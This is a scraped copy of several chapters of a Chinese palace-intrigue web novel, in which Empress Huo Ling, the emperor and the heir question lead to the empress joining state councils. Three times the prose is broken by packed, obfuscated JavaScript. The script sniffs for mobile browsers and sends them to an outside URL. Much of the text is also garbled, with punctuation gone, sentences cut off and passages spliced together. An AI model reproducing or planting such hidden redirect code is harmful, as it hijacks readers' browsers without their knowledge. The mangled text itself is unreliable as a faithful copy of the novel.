霍翎将书丢到一旁:“陛下,臣妾听说肃亲王前两年一直缠绵病榻,对吗。 景元帝诧异,却还是答道:“确实如此,从前年开始,王府那边经常请太医过去给皇叔诊治。 那看来,肃亲王的病做不得假。 霍翎记得景元帝说过,肃亲王的身体能有所起色,是因为新找了位大夫。 但经常今天这件事情,霍翎觉得,肃亲王能硬生生从老天爷那里多抢来一些寿命,甚至都能跟着随驾队伍来行宫,也许不是因为换了大夫。 而是因为,季三郎有了新的机缘。 让肃亲王熬过病痛的,不是什么大夫的医术。 是权力。 正如当初的端王,已经富贵尊贵至极,但因为长子被养在了皇宫里,他可以暂时抛下京师的富贵,前往燕西前线督战。 “怎么突然问起这个? 景元帝的声音唤回了霍翎的思绪。 霍翎答道:“陛下心中的考量,臣妾已经猜到了。 要说景元帝对季渊晚有多看重,那确实没有。 自从霍翎进宫以后,季渊晚的尴尬处境就被众人看在眼里。 如果真将季渊晚视作自己未来唯一的继承人,景元帝不会让季渊晚一直处于这种尴尬境地的。 他会试着缓和霍翎与季渊晚的关系。 即使这种“缓和,只是装出来给宫人与朝臣看的,季渊晚面子上也会好看很多。 但要说景元帝一点儿也不在乎季渊晚,那也不是。 登基多年,膝下依旧空虚,朝臣着急,景元帝自己更着急。 在过去二十多年里,他都没能拥有一个健康长大的继承人,到了现在,也许他还存着生下亲子的希望,但为了国朝稳定,他也必须安排一些后手。 将季渊晚养在皇宫里,让他进入天章阁读书,挑选大臣教导他,与其说是景元帝迫切需要一个继承人,不如说是朝臣需要有这样一个孩子。 皇宫里有这么一个孩子在,即使景元帝没有将他立为太子,但是如果将来真有个万一…… 朝臣也知道该拥护什么人上位。 大燕也不会因为后继无人陷入混乱。 霍翎的出现,对景元帝来说,其实是一个美妙的意外。 她透出皮囊的澎湃生命力,让他重新感受到了情爱的滋养,原本因为一连串打击而陷入消沉的他,也被这样的生命力感染了。 他确实已经不再年轻。 可是,他这些年没生过一场重病,身体也还算康健。 人人都说天子万万岁,他不求万万岁,再活个十几二十年,总还是可以的。 日后之事—— 他的日后之事,霍翎的日后之事,他当然都会考虑,也会做出安排。 但绝不是现在,绝不是她刚进宫还不到一年的时候,他就要为她的日后发愁。 季渊晚已经进宫了。 如果景元帝坚持要将季渊晚送出皇宫,朝臣当然拗不过他,但是,不久以后,朝中绝对又会有人上书,请他为国朝安定计,请他为江山社稷计,重新选一个孩子进宫教养。 季渊晚的身后已经站队了一大批官员。 如果他放弃季渊晚,选了季三郎进宫,很快就会有另一批官员站队到季三郎身后。 季三郎身后的那些人,与季渊晚身后的那些人,会为了储君之位不断相争。 今天季二夫人与端王妃的争执,就是最好的证明。 这和组建皇后一党是不同的。 霍翎和景元帝夫妻一体,后党势力壮大,是景元帝乐见其成的。 但朝臣站队相争,只会打破霍翎和景元帝好不容易争取来的平衡。 如今的局势,牵一发而动全身。 季渊晚被养在皇宫之事,早在他遇见她之前,就已成定局。 相比起直接送走季渊晚,眼下,景元帝是更倾向于维持现状的。 作者有话要说 第 65 章 他为何不能将权力... 霍翎脑海里闪过种种念头,但放到现实中只过去了十几个呼吸。 景元帝面上露出诧异之色。 他下午那会儿才告诉霍翎在有关季渊晚的事情上,他有自己的考量。 这才过去了不到两个时辰霍翎就说,她已经猜到了他的考量。 这如何不让景元帝意外。 沉吟片刻景元帝问:“都猜到了什么。” 有些事情,彼此心里清楚,却不好说得太透。 所以霍翎回答得很简洁。 “陛下心中一定很矛盾吧。” “端王府和柳国公府的许多做法都令您不满。在臣妾和大公子之间,您也一直偏心着臣妾。但牵一发而动全身为了不打乱好不容易安稳下来的局势,您必须维持现状。” 手掌落在霍翎耳后,景元帝将她揽入怀里,轻轻一叹:“看来确实是猜中了。” 一阵幽风吹过,灭了一盏宫灯。 殿外忽生嘈杂,呼啸的狂风将繁茂的枝叶吹得哗啦作响,不时有杂物敲击屋顶窗户发出沉闷的声响。 在经历了整整一日的潮湿闷热后,蓄积多时的暴雨终于落下 软塌就在窗边,霍翎听着窗外连绵不绝的雨声,心情十分平静。 “怎么不说话了?”景元帝问。 霍翎反问:“陛下是想与臣妾促膝长谈吗?” 不等景元帝回答霍翎已经从他怀里钻出在他对面坐好摆出一副促膝长谈的架势。 感受到怀中一空,景元帝无奈一笑,但转念一想,也没有拒绝。 没有亲生儿子始终是他身上绕不开的问题。 现在不谈以后也会谈既然刚好聊到这方面的话题那就好好聊聊吧。 “阿翎你既清楚朕的考量对此你是如何想的?” 雨声愈发密集在这样嘈杂的背景音里霍翎的语气放得很柔和。 “陛下想听真心话那臣妾就与陛下说说真心话。” “陛下是什么立场臣妾就是什么立场这一点无需怀疑。” “但您是皇帝臣妾是皇后。” “无论是大公子还是季三郎被养在皇宫里对您来说可能没有太大差别。” “但对臣妾来说一个亲近臣妾的孩子被养在皇宫里肯定比一个敌视臣妾的孩子被养在皇宫里更好。” 景元帝想到她和端王一系的矛盾也得承认她说得不错。 几个孩子间的争端在帝后同时在场的情况下肯定是由皇后出面解决更合适。 偏偏下午那会儿在季二夫人求她做主时端王妃却直接越过她找他来评理。 这种昏了头的行为背后体现出来的是端王妃对她的不信任。 端王妃心里认定了她会偏袒季三郎针对季渊晚。 但她偏袒了吗?针对了吗? 整件事情里霍翎是什么态度有什么做法没有人比景元帝更清楚了。 至于季渊晚有没有敌视霍翎? 景元帝记得有一次他和霍翎在御花园散步刚好碰到季渊晚在御花园里面玩闹跑得气喘吁吁的慌忙过来给他们行礼时不小心踩中了石子身形踉跄。 霍翎离季渊晚最近伸手扶了一下。 孩子再聪明也还是个孩子 在霍翎的手扶住季渊晚的肩膀时季渊晚的身体有明显僵硬过了好一会儿才缓过来连忙给他们行礼又单独向霍翎道谢。 如此大的反应他一眼就看出来了他相信霍翎也看到了。 但她什么都没说。 景元帝夸道:“你在皇后这个位置上一直都做得很好处事公道。” 霍翎莞尔听出了他指的是什么:“陛下是在说今天下午端王妃越过臣妾找上您评理之事吗?端王妃本就对臣妾有成见再加上担心孩子这才失了分寸。” 景元帝淡淡道:“失了分寸就该让她知晓分寸。” 霍翎想了想随口道:“过些天是太后的忌日那就让端王妃抄些经文给太后尽尽孝心吧。” 景元帝没再说什么明显是认可了她对端王妃的惩戒:“渊晚那孩子敌视你你心里委屈吗?” 霍翎望着景元帝在烛火的映照下眸中流光一闪:“能得陛下这句话就不委屈。” 景元帝因那抹流光一怔:“怎么这么说?” 霍翎将旁边的茶盏端过来 喝了一口,才继续道:“臣妾与端王府之间的矛盾,不是三言两语就能说得清的。自从臣妾认识陛下,臣妾就做好了进宫以后会被大公子敌视的准备。 “大公子面对臣妾,会做出什么反应,臣妾都不奇怪。 “陛下能将大公子对臣妾的敌视看在眼里,没有无视臣妾的心情,就算臣妾原本是有些委屈的,现在也不委屈了。 景元帝握住霍翎的手掌,轻轻摩挲两下,追问道:“即使朕不打算送走渊晚那孩子,你也不委屈吗? 霍翎道:“您是天子,是要做一代明君的人。有些事情,您不是不能大动干戈,而是为大局着想,不愿大动干戈。 “臣妾理解您的考量。 “您不想送走大公子,那就不送走。 “您要是觉得臣妾与肃亲王府走得太近,臣妾日后会更注意分寸,不会让肃亲王府因为臣妾的态度,生出什么不该有的心思。 景元帝沉默片刻,摇头道:“肃亲王府那边,你从来没做过什么出格之事,又何来注意分寸一说。不必如此。 “还有,你知道朕想听的不是这些。 霍翎眼眸一弯,手腕微动,与景元帝十指相扣:“臣妾曾经对您说过,您正如烈日当空,朝中那些人却在您承受丧子之痛、丧妻之痛时,逼迫您过继嗣子。 “那样难受又难堪的场面,朝臣让陛下经历过一次就够了。 “我是陛下的妻子,陛下对我情深义重,不能陪伴陛下熬过那段痛苦的时光,已经是我的遗憾。我永远也不会将陛下置于如此糟糕的处境,更不会利用陛下对我的感情,逼迫陛下送走大公子,接季三郎入宫。 “臣妾不在乎什么大局,但正如您会问臣妾委不委屈一样,臣妾也比这世间任何人都要在乎您的心情,不愿让您为难。 这是景元帝此生听过的,最令他动容的话语。 他垂下眼眸,看着两人交握的手,心底下意识浮现出的,是“执子之手,与子偕老。 但她风华正盛,他已不再年轻。 他终究会先她一步离去。 景元帝微微一笑,笑容却透出苦涩来:“阿翎,朕多希望老天爷能给我们一个孩子。 如果他有自己的儿子,如果他和阿翎 有一个儿子,又何必如此为难。 霍翎安慰他:“孩子的事情,要看缘分,陛下不必伤怀。” 景元帝也知道这个道理,有些事情,即使是他,也无法强求。 就在这时,景元帝怀里一重,霍翎重新挪回了他的怀里,吻上他的唇角。景元帝下意识加深了这个吻,要抱着她回床上,霍翎却拽住了他的袖子,唇舌分开的间隙,在他耳畔轻声邀请:“陛下,要在这榻上,试一试缘分吗。” 潮湿与燥热在漫长的雨夜里蔓延着,一番云雨沐浴过后,昏暗的烛光投落进层层叠叠的床幔里。看着靠在他怀里的霍翎,景元帝轻轻抚过她的眉眼。 霍翎声音里带着浓重的困意:“陛下,怎么了?” 景元帝温柔道:“睡吧。” 感受到怀中人呼吸渐渐平缓,景元帝也慢慢闭上眼,却毫无困意。 她能理解他的考量,最终也平静地接受了他的考量,但景元帝知道,她的心底依旧会存着疑虑,存着担忧。只是她相信他会为她安排好一切,才强迫自己压下了那些疑虑和担忧。 他为了大局着想,现在不能送走渊晚那孩子,也不能将亲近她的孩子接进皇宫里,却也不能眼睁睁看着她受了委屈。 她有出色的政治才能,长于把握时机,也看得清大局。 最大的缺点,就是行事全凭天赋和直觉,在一些事情上,手段稍显青涩与粗糙。 这样的缺点,并不难改。 只要—— 他愿意成全她。 她过去做的种种事情,都已经证明了她的才能和天赋。 偏偏她对朝政的认知尚浅。 他教给她什么,她就会学到什么。 他如今春秋鼎盛,对朝堂的把控还很牢固。依靠着立后等一系列事情,暂时压下了朝中蠢蠢欲动的各方势力。 但是,即使景元帝再不愿意承认,他也要承认一点:这种情况,不会持续太久。 等到几年以后,他的精力开始下降,身体露出颓势时,那些暂时被压下去的势力会闹腾得更加厉害。 到那时,他需要有一个绝对信任的人,来帮他制衡朝臣,稳定朝局。 朝臣会有私心,过继的宗室子未来也有可能更亲近自己的亲生父母。 只有他的妻子,会坚定地站在他的身边,为他震慑朝臣,甚至在他驾崩后,维护他的生前身后名。 这几年时间,正好能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无奈之下的选择,必然是不能令他满意的选择。 而且,季渊晚身上最大的问题,是他有一个强势的父族,和一个更加强势的母族。 如果没有端王府和柳国公府相帮,季渊晚未必会被选进皇宫里。 但也因为端王府和柳国公府的存在,让景元帝迟迟不愿将季渊晚过继到自己名下。 在不满意这个孩子,又无法选择其他孩子的情况下,景元帝势必要培养另一个人。 培养一个可以帮助他制衡朝臣,维护他生前身后名,延续他的政治理念的人。 他原就打算为她培养党羽,组建势力,那再进一步,教导她,引领她,为她铺好通往权力的台阶,又何尝不可呢? 一个念头在脑海里呼之欲出,霍翎闭上眼睛,呼吸沉重急促。 连着深呼吸几次,霍翎缓缓睁开眼睛。 “又下雨了?她轻声问一旁的无墨。 无墨侧耳细听,点头道:“好像是有雨声。 “带伞了吗? “带了。 “那我们回去吧。 霍翎将手头的书递给无墨,转身出了宫殿,没让任何人帮她撑伞。 她亲自撑开墨绿色的伞面,在细雨中穿行,走回帝后共同居住的长清宫。 雕刻着游龙戏珠的翘角飞檐矗立在一片滂沱大雨里,霍翎抬起油纸伞,隔着雨幕,与站在宫殿门口等待她的帝王对视,眸中骤然燃起一簇明亮的火焰。 那抹火光越来越亮,越烧越旺。 终于在她眼底,化作一场无法被漫天大雨浇灭的燎原烈火。 他是帝王,也是她的丈夫。他能将权力分享给朝臣,分享给一个过继来的、并不十分让他满意的孩子,又为何—— 不能将权力分享给她呢? 作者有话要说 *在这里解释一下为什么更新迟了—— 这几天脑子一直很木,思考剧情时有种脑子转不动的感觉,我以为是这几天没休息好,然后今早醒来时后背一直在疼,才意识到是颈椎病犯了。 我试着写了一下,但是太难受了,就出去推拿了,休息到下午才开始写更新orz 好消息是脑子终于又回来了。 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第 66 章 她为何不争? 这样的念头,要是放在以前,连霍翎自己都觉得异想天开、大逆不道。 但眼下,它是如此自然而然地冒了出来。 如果连侄子一家、堂侄一家都能相争…… 如果要将他的身后事、她的日后尊荣都寄托在一个嗣子身上…… 那她为何不争? 她才是那个与他日夜相对、朝夕相伴的人。 漫天大雨如滚珠落玉,雨水在裙面盛开,霍翎脚步渐快,也不管脚下有没有凹凸不平的水洼,径直踏了过去。 “慢点儿。”景元帝提醒一声。 霍翎走到台阶之下,直接丢开了手里的油纸伞,提着裙摆,三步并作两步,投进景元帝怀里。 景元帝被她撞得往后退开半步,这才稳稳接住了她。 看着因为疾跑,气息微喘的霍翎,景元帝笑道:“这么不稳重,小心让宫人们笑话你。” 霍翎道:“他们在陛下和臣妾身边伺候,日日都能见着,早就不稀奇了。” 她压了压因为那个念头而升起的激动雀跃,笑着转移了话题:“陛下今日怎么起得这么晚?” 景元帝没有细说,只是道:“昨天睡得有些晚。” 霍翎也配合着没有追问。 不管景元帝昨晚到底在想什么,有没有被她说的那些话触动,她已经知道了自己想要什么,该朝哪个方向去争取。 “您用午膳了吗?” “还没,在等你回来。” “那我们快些进去吧。” 与此同时,景仁宫,肃亲王居住的宫殿里。 肃亲王的身体虽有所起色,依旧比普通人要虚弱许多。一到这种阴雨天,他就开始头疼。 所以昨天几个孩子打架的事情,他只是简单听了前因后果,没来得及细问里面的内情就去休息了。 今儿上午,肃亲王刚睡醒,就听说了霍皇后对端王妃的惩罚。 当下也顾不上头疼,叫来二儿子。 “几个孩子打架的事情,不是都处理好了吗。皇后娘娘为何会突然罚端王妃抄写经文。” 季二老爷琢磨了一下,也猜到了原因。 听完季二老爷的话,肃亲王的眉头不仅没有松开,反倒拧得更紧:“你再跟我说一遍昨天的事 情。从头到尾仔仔细细地说。” 看到肃亲王如此严肃季二老爷也不敢隐瞒一五一十地说了出来。 肃亲王默默听到最后长叹一声:“你媳妇与端王妃争执的时候你为何不拦一拦?” 季二老爷被问得一懵:“我和我媳妇看到三郎满脸血的模样心下都有气这才激动了些……” 在肃亲王愈发冰冷的视线里季二老爷的声音越来越低越来越低终于是彻底消了声。 “你们啊——” 肃亲王猛地放下手里的茶盏带着几分怒其不争的懊恼:“在我面前还敢自作聪明?” 季二老爷嗫嚅:“爹……” 肃亲王冷笑:“你们那点儿小心思我一听就听出来了你们以为瞒得住陛下和娘娘吗?” 季二老爷神情尴尬。 看到季二老爷这副模样肃亲王也觉得没意思喝了几口茶水平复好心情才叹息道:“别说皇后娘娘还没打算收养三郎就算皇后娘娘真打算收养三郎我们也不可以自鸣自得反而要戒骄戒躁。” “端王府最大的错处就是太把大公子当成自己的孩子了。” “他们已经决定过继大公子又不能完全舍弃大公子如此瞻前顾后反倒会害了这个孩子啊。” 季二老爷一惊:“那……那我们……” 肃亲王摆摆手:“我们现在还不到这一步但你和你媳妇必须摆正自己的位置。” “该争的时候我们是得争。” “但与端王妃相争我们能得到什么好处吗。” 这才是最令肃亲王生气的地方。 不是不能争不是不能让人看穿他们的野心和打算但在这种毫无好处的事情上相争简直是损人又不利己。 季二老爷这下是彻底不敢吭声了老老实实挨训。 肃亲王喝完一杯茶扶着桌沿缓缓起身。 季二老爷连忙伸手去扶:“爹 肃亲王道:“我去求见陛下和娘娘。” 肃亲王过来求见的时候霍翎正在翻看她从长信宫带回来的前朝太 祖手札。 “请肃亲王进来。” 霍翎合上手里的书籍先去书房找到景元帝才和景元帝 一起去正殿见肃亲王。 不等肃亲王起身行礼,霍翎先开口免了他的礼节,又关心道:“听说皇叔昨晚请了胡太医,可是身体有不适? 肃亲王笑容温和:“到了下雨天,就开始头疼。老毛病了,多谢娘娘关心。 景元帝道:“皇叔该留在宫殿里好好休息才是。 一听这话,肃亲王顺势道出了自己的来意:“老臣今早才听说了昨天的事情,唉,都是老臣没管教好他们。几个孩子之间的小矛盾,居然也能闹到陛下和娘娘面前,实在是让老臣羞愧难当啊。 “原来是为这事。霍翎笑道,“大家都是亲戚,为了这点儿小事,不值当皇叔亲自跑一趟。 肃亲王道:“娘娘宽和,自然不会与他们计较。 霍翎算是知道,景元帝为什么会可惜肃亲王身子不好了。 这位确实是个明白人啊。 “三郎的伤口如何了? 肃亲王道:“已经开始结痂了。 霍翎道:“那就好,小孩子容易抓挠伤口,记得让身边照顾的人多看着他些。 景元帝在一旁笑道:“这些事情,你不说,王府的人也会注意的。 霍翎道:“也就是随口多说一句。 瞧见肃亲王的脸色有些苍白,霍翎让人赶紧送他回去休息。 肃亲王被宫人搀扶着离开长清宫,忍不住回头望了一眼并排高坐在大殿之上的帝后。 皇后娘娘居然一点儿也不避讳在陛下面前提到三郎…… 肃亲王相信,论起对帝心的揣度,他是绝对比不过皇后娘娘的。 皇后娘娘不避讳,说明她确定陛下不会在意。 肃亲王越想越头疼,最后还是将这件事情暂时放到了一边:也罢,多想无益,不如先静观其变吧。 *** 突如其来的暴雨,让众人无法进入猎场狩猎,只能待在行宫或别院里休息。 经过霍翎几天的观察,她发现景元帝比以前更喜欢待在她身边了。 以前景元帝也常来凤仪宫,但有时她去书房练字、下棋,他不会刻意跟着她一起去书房。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221916|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但现在,她去书房练字时,原本好好待在屋里看书的景元帝,也会挪到书房去看书。 霍翎私底下笑话景元帝不嫌折腾心下却暗道:前几天那场谈话的效果远比她想象的要好。 这场暴雨足足持续了五天才终于放晴猎场一行夜只剩下最后几天了。 在这最后几天里 景元帝看她那副依依不舍、流连忘返的模样笑道:“行宫有这么好玩吗?” 霍翎点头:“好玩而且未来几年我们都不会再过来了当然得在离开前玩个够。” 景元帝眉梢微挑他记得自己没有跟霍翎说过“未来几年不会再过来”之类的话。 像是看出了景元帝的疑惑霍翎解释道:“来一趟行宫太折腾了。陛下原就不是很喜欢打猎能连着陪臣妾来两年臣妾已经心满意足。” 景元帝想了想:“也好明年夏天我们可以去西郊的避暑山庄住一段时间确实不用年年都来这座御林苑行宫。” 许是这回在皇家猎场待的时间有些长了回程的时候众人都归心似箭最后只花了七天时间就顺利抵达了京师。 回到凤仪宫霍翎先去梳洗一番。 等她换了身新衣服就听说德妃带着大公主过来了。 德妃一看到霍翎笑道:“臣妾是不是打扰到娘娘休息了?” 霍翎道:“无妨本宫这些天坐在凤辇里赶路也累不着。” 德妃这才开始向霍翎汇报后宫诸事。 德妃以前就代掌过六宫宫务如今再次上手也打理得井井有条没出现什么乱子。 霍翎真心实意道:“这回麻烦你了。” 德妃连忙摆手:“当不得娘娘这句话。能帮上娘娘的忙臣妾心里也高兴。” 霍翎笑了一下觉得德妃真不愧是陆家人这性子和陆杭陆尚书真像:“你与大公主将近两个月不见一定很挂念她吧你们先回去好好叙叙旧迟些再过来与本宫闲聊。” 等德妃和大公主离开以后霍翎让崔弘益拟了一份赏赐单子上面的东西全都是给德妃的。 好好休息了一夜第二天上午霍翎原本是打算处理一下后宫事务结果景元帝对她说:“陪朕去一趟御书房吧前些天朕新得了几幅画还没来得及品鉴。” 霍翎笑应了声好。 来到御书房两人一起品鉴那几幅画卷。 当然主要是霍翎在听景元帝介绍她本人在绘画一道没什么造诣。 刚欣赏到第三幅画李满就匆匆走了进来:“陛下文尚书他们在外求见。” 景元帝道:“让他们进来吧。” 霍翎心中微微一动隐约猜到景元帝叫她来御书房的用意了但她还是问了一句:“陛下文尚书他们来了臣妾要不要避一下?” 景元帝道:“翰林院整理的那些资料书稿你不是都看完了吗。文盛安他们肯定是来向朕汇报各地马政调查结果的你不用避就和上回一样留下来好好听一听。” 等吏部尚书文盛安、刑部尚书崔明和左都御史被迎进御书房时就看到帝后二人一起端坐在上首。 文盛安:“……” 崔明:“……” 怎么说呢有点意外又好像没有那么意外。 只是陛下和娘娘啊你们上回好歹还愿意装一装敷衍一下我们这回是连装都懒得装了。 作者有话要说 第 67 章 她顺利迈出了从后... 人的底线是一步步降低的,上回文盛安和崔明保持了沉默,这回两人同样没有说什么。 左都御史以前没见过霍翎,但也不难猜到霍翎的身份。 他在原地稍等了一会儿,等到文、崔二人都已经落座,等到所有人的目光都落到他身上,还是没看到皇后娘娘有任何起身回避的意思。 霍翎微微一笑,主动开口:“这位就是陈御史吧。” 陈御史绷着张老脸,语气硬巴巴的,礼仪却很到位:“臣陈浩言,见过皇后娘娘。” 霍翎语气温和:“本宫常听陛下提起陈御史,你很好,请坐吧。” 崔明与陈御史是连襟,关键时刻还是比较讲义气的,轻咳一声,提醒道:“陈御史,娘娘都发话让你坐下了,你还杵在那里干嘛。” 陈御史一只脚都已经迈出去,想好好劝谏一番了,听到崔明这话,犹豫了下,左脚生硬一拐,愣是拐到了崔明旁边的空位上。 霍翎就这样留在了御书房里面。 这回她依旧没有对朝政发表任何看法,只是安静听着这两个月来京中发生的事情,以及各地汇报上来的折子。 其中提到最多的,当然就是各地马政。 如今大燕一共设有十七个监牧区来养马,这十七个监牧区,陆陆续续都有消息传回来。 大多数监牧区,都存在欺上瞒下、监守自盗的情况。 这还是钦差们查了四个月的结果,要是继续往下查,牵扯进来的官员只会更多,贪污腐败的情节也会更加严重。 “让他们继续查。” 最终,景元帝用这句话表明了自己彻查的决心。 这场议事就此结束,直到这会儿,霍翎才再次开口:“三位大人议了这么久的事,定都累了吧。” “本宫让御膳房那边准备了几样陛下喜欢吃的点心,你们也一道喝些茶水、用些点心吧。” 景元帝倚着座椅,一言不发,明显是默许了霍翎的举动。 三位朝臣自然也不能拒绝皇后娘娘的好意。 很快,崔弘益就带着几个内侍,将点心送了进来,又给几人都换了新的茶水。 霍翎用汤匙搅动着碗里的莲子羹,突然又笑道:“本宫除了听陛下提过陈御史外,还听身边的内侍提过陈 御史。” 陈御史正心情复杂地喝着茶水听到霍翎的话有些诧异拱手道:“还请娘娘示下。” 霍翎指着崔弘益:“崔弘益你不是一直想向陈御史当面道个谢吗?” 崔弘益向陈御史行了一礼:“十二年前甘城发了洪灾陈御史可还记得此事?” 崔弘益这话具体到了年份和地点陈御史立刻就回忆起来了:“那时我还不是左都御史奉命巡查南边路过甘城时看到路边有许多饿死的灾民细查之下发现甘城县令伙同县中大户侵吞赈灾粮就命人拿下了那伙人将粮食重新分发下去。” 崔弘益语气感激:“奴才就是甘城人要不是陈御史惩治了那伙恶人奴才早就饿死了。” 陈御史一怔倒是没想到会这么巧:“不过是职责所在这位崔内侍不必多礼。” 霍翎赞道:“好一句职责所在。这朝中就需要多一些陈御史这般秉公执法的朝臣。” 以皇后娘娘的身份当然能如此居高临下地点评他、夸奖他。但一想到这里是御书房陈御史就忍不住抽了抽嘴角。 好在霍翎也没有逮着他一个人说扭头对旁边的景元帝道:“三位大人留守京师他们的家眷也因此不能随驾去行宫。” “三位大人那边陛下肯定少不了赏赐。臣妾就凑个热闹给三位大人的家眷也赏赐一些东西。” 景元帝笑了下:“你看着安排吧。” 陈御史愁得啊那叫一个食不知味。点心是甜的还是咸的都没能尝出来。 等到退出御书房周围也没什么宫人跟着时陈御史走到文盛安身边压低声音:“文尚书这是不是有些不合规矩啊。” 文盛安道:“陛下觉得这合规矩你觉得呢?” 陈御史一噎依旧不赞同:“陛下对娘娘恩宠太过了。御书房是何等重地啊。” 文盛安道:“皇后娘娘在御书房言行间并无一丝僭越之处。” 文盛安与陈御史交情一般 一旁的崔明也在下人的搀扶下走上马车陈御史见状赶紧也跟着钻了上去。 崔明吹胡子瞪眼看着坐在他对面的陈御史:“你跟过来干嘛。” 陈御史只是性格正直,行事板正,人却不傻:“你和文尚书是不是有什么事情瞒着我?” 崔明也没想瞒着,主要是方才没找着机会说。他将上回的事情也一并说了:“上回可以说是巧合,这回呢?” 陈御史眉心紧蹙:“难道就这么纵容着?皇后娘娘在御书房侃侃而谈的样子,你没看到吗?” 当局者迷旁观者清,崔明无语:“……皇后娘娘在御书房侃侃而谈,都谈的是谁?” 陈御史嘴巴微张,突然反应过来了。 皇后娘娘在御书房里,除了与陛下说话外,其余时候都是在与他说话啊。言谈间不乏对他的赞誉和欣赏。 “你的意思是,娘娘在向我示好?” 崔明拍了拍陈御史的肩膀:“不错。以皇后娘娘的性子,极有可能是先礼后兵。” 身为一众御史头头的陈御史:“……” 要是他带着手底下的御史一起弹劾皇后娘娘,确实会折损皇后娘娘的脸面。所以皇后娘娘这是在未雨绸缪,暗示他不要敬酒不吃吃罚酒? 崔明道:“眼下,陛下让皇后娘娘出现在御书房里旁听,只是想加深皇后娘娘在朝臣心中的份量,你别急切。” 陈御史意味深长:“你也说了,这只是眼下。” 在御书房里听政,这只是个开始罢了。 崔明反问:“那你能如何?” 但凡陛下现在有个亲生儿子,陛下都不会将精力花在培养皇后娘娘身上。 当陛下开始培养皇后娘娘以后,她在陛下心目中的份量,就已经超出了妻子和皇后这两重身份。 过继过来的宗室子,是朝廷的继承人,是江山的继承人。 而皇后娘娘,更像是陛下为自己选中的,可以延续他的政治理念的继承人。 崔明正是想到了景元帝的这层心意,才没有站出来唱反调。 公开唱反调,既得罪了陛下,又得罪了皇后。 陛下性情宽仁,对他们这些老臣也素来优待,估计训斥两句就过去了。皇后娘娘的话……他们这些老臣,和皇后娘娘可没什么情分啊。 崔明用帕子擦擦汗:“反正你回去再想想吧。” 陈御史不知是不是也和崔明想到了一处,没有再吭声。过了好一会儿,他提 高声音,对外面的车夫道:“前面左拐,到了都察院停一下。 当天下午,霍皇后留在御书房旁听的消息就传遍了各部衙门。 吏部沉默,刑部沉默。 陆杭所在的礼部沉默。 六部衙门一下子哑了三部。 户部、工部瞧见这架势,立刻也跟上了他们的步伐,将下属们压得服服帖帖。 有心浑水摸鱼,也跟着发表一些看法的兵部尚书柳国公:“…… 他要是站出来发声,那就不是浑水摸鱼,而是成了出头鸟了。 国子监江祭酒也默默加重课业,让国子监监生们沉迷学业,无心议政。 端王也沉默了。 从那道册后圣旨颁布,再到何泰被下令处死,他就已经明白自己输在了哪里。 但如今听到这个消息,他才意识到,原来自己是输得如此彻底。 他所能给的,不及皇兄能给的十分之一。 肃亲王回京后小病了一场,听说此事后,长叹一声,彻底明白了帝后的心意。 他对两个儿子道:“陛下短时间内不会送走大公子的。 如果陛下打算重新选一名宗室子好好培养,不会如此费心为皇后铺路的。 要说最群情激奋的,还是都察院的御史们。 副都御史也过来找陈御史讨主意。 陈御史还在惆怅着呢,一听这话,猛地坐直身子:“所有人都知道了这事? 副都御史不明所以:“是,属下过来的时候,消息已经在都察院传开了,就连各部衙门也都听到了风声。 陈御史叹气:“天下没有不透风的墙,但我上午进的宫,中午出来,消息下午就传开了,你怎么想? 那里可是御书房。 副都御史脸色微变:“大人是说,有人在故意传这些消息。 陈御史直接下令:“压一压我们的人。 副都御史道:“未必能全部压下去。 陈御史道:“那些自作聪明的邀名之辈,还有一些被收买的人,不用理会,只要如你我这样的人不出面弹劾,娘娘不会误解的。 副都御史暗抽一口冷气。什么叫“娘娘不会误解? 莫非那个故意散出消息的人,是皇后 娘娘? 余光扫见副都御史脸上的神色,陈御史低咳一声。 他不是怕了皇后娘娘,也不是担心什么敬酒不吃吃罚酒。 主要是陛下心意已定,多说无益,都察院接下来的精力还是都放在调查马政上吧。 …… 霍皇后在御书房旁听君臣奏对一事,可谓是雷声大,雨点小。 数日后的大朝会上,除了一些中层官员和低阶官员站出来弹劾外,三品以上的高官里,只有翰林院掌院出列表示了反对。 多少人将满含期待的视线落到陈御史头上啊,陈御史那叫一个泰然自若,岿然不动,半天下来,脚步是挪都没挪一下。 好不容易挪了一下,还是因为站累了,要换一个姿势。 消息传回凤仪宫,霍翎正拎着一个长木勺,在给面前的垂丝海棠浇水。 和煦的阳光落在她身上,霍翎被晃得眯起眼眸。 过来报信的崔弘益微微抬头,瞧见这一幕,又敬畏地深深低下了头。 霍翎将手里的长木勺递给崔弘益,顺势扫了眼自己的掌心。 她没有疏于练字射箭,但有宫女日日为她涂抹香膏,养护双手,她手掌上的茧子变淡了许多,只有早已变形的无名指还如记忆一般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221917|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从今往后,她要学习的东西,不再只是书法、棋谱、骑射。 她的地位,是真正不可动摇了。 她顺利迈出了从后宫到前朝的第一步。 